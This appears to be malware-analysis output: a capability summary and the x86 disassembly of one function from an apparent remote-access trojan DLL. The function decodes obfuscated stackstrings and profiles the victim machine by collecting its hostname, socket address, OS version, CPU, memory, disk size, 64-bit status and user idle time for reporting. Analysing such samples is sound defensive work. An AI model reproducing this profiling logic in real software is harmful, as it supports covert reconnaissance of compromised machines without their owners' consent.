Function at 0x10003170
Capabilities:
Contain obfuscated stackstrings
Get cpu information
Get disk information
Get disk size
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
push ebx
push esi
push edi
push 0x22c
lea eax, [ebp - 0x2f0]
push 0
push eax
call fcn.10008330
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push str.Rswucc_cwqcakyc
lea ecx, [ebp - 0x5f0]
push ecx
mov byte [ebp - 0x2f0], 0xc8
call edi
push pe_nt_image_headers32
lea edx, [ebp - 0x3f0]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x5f0]
push ecx
mov bl, 0x6f
mov dword [ebp - 0x10], 0x6e6e6f43
mov dword [ebp - 0xc], 0x47746365
mov dword [ebp - 8], 0x70756f72
mov byte [ebp - 4], 0
call fcn.10002880
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
lea edx, [ebp - 0x3f0]
push edx
call esi
test eax, eax
jne 0x10003208
push 0x100154b0
lea eax, [ebp - 0x3f0]
push eax
call edi
lea ecx, [ebp - 0x3f0]
push ecx
call esi
test eax, eax
mov eax, 0x100154b0
je 0x10003220
lea eax, [ebp - 0x3f0]
push eax
lea edx, [ebp - 0x2ef]
push edx
call edi
push pe_nt_image_headers32
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x5f0]
push edx
mov byte [ebp - 8], 0x48
mov byte [ebp - 7], bl
mov word [ebp - 6], 0x7473
mov byte [ebp - 4], 0
call fcn.10002880
add esp, 0x10
lea eax, [ebp - 0x4f0]
push eax
call esi
test eax, eax
jne 0x10003279
push pe_nt_image_headers32
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x4f0]
push edx
call esi
mov edx, dword [ebp + 0xc]
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [edx + 0x48]
lea ecx, [ebp - 0x48]
push ecx
push eax
mov dword [ebp - 0x28], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x2cc], ecx
mov ecx, 0xc
lea esi, [ebp - 0x4f0]
lea edi, [ebp - 0x2c8]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x294]
movsw word es:[edi], word [esi]
push edx
mov dword [ebp - 0x294], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1000332a
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003323
lea ecx, [ebp - 0x288]
push ecx
lea edx, [ebp - 0x28c]
push edx
lea ecx, [ebp - 0x290]
push ecx
call eax
and dword [ebp - 0x288], 0xffff
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x14]
push edx
mov eax, 4
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x2c]
push edx
push 0
push 0x10015de4
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
fild dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
test edx, edx
jns 0x10003380
fadd dword [0x10015de0]
fmul qword [0x10015370]
lea eax, [ebp - 0xc4]
push eax
fstp dword [ebp - 0x1e4]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0xb0]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
lea edx, [ebp - 0x1f8]
push 0x100154ac
push edx
call esi
call fcn.100030d0
mov dword [ebp - 0xec], eax
lea eax, [ebp - 0xe8]
push 0x1001b1d0
push eax
call esi
add esp, 0x14
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
shrd edx, eax, 0x14
shr eax, 0x14
xor edi, edi
mov dword [ebp - 0x1d0], edx
xor ebx, ebx
lea ebx, [ebx]
lea edx, [ebp - 0x20]
lea ecx, [ebx + 0x42]
push edx
mov byte [ebp - 0x20], cl
mov word [ebp - 0x1f], 0x5c3a
mov byte [ebp - 0x1d], 0
call esi
cmp eax, 3
jne 0x10003450
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
shrd ecx, edx, 0x14
shr edx, 0x14
add edi, ecx
inc ebx
cmp ebx, 0x1a
jl 0x10003410
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1cc], edi
mov dword [ebp - 0x1dc], eax
call fcn.10002720
push str.kernel32.dll
mov dword [ebp - 0x1d8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.IsWow64Process
xor edi, edi
push esi
mov dword [ebp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100154c0
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp ebx, edi
je 0x100034a9
lea ecx, [ebp + 0x10]
push ecx
call eax
push eax
call ebx
cmp esi, edi
je 0x100034b4
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp + 0x10], edi
push 0x64
lea eax, [ebp - 0x196]
setne dl
push edi
push eax
mov byte [ebp - 0x1d4], dl
call fcn.10008330
lea ecx, [ebp - 0x196]
push ecx
call fcn.10002930
add esp, 0x10
lea edx, [ebp - 0x50]
push edx
mov dword [ebp - 0xc8], edi
mov dword [ebp - 0x50], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x4c]
cmp eax, 0x2bf20
jbe 0x1000350f
mov dword [ebp - 0xc8], 1
push 0x32
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x5f0]
push edx
mov dword [ebp - 0xc], 0x6b72614d
mov dword [ebp - 8], 0x656d6954
mov byte [ebp - 4], 0
call fcn.10002880
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
lea eax, [ebp - 0x1c8]
push eax
call esi
test eax, eax
jne 0x10003562
push 0x100154b8
lea ecx, [ebp - 0x1c8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x1c8]
push edx
call esi
push 0x1001b298
lea eax, [ebp - 0x132]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x22c
lea ecx, [ebp - 0x2f0]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.10001720
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret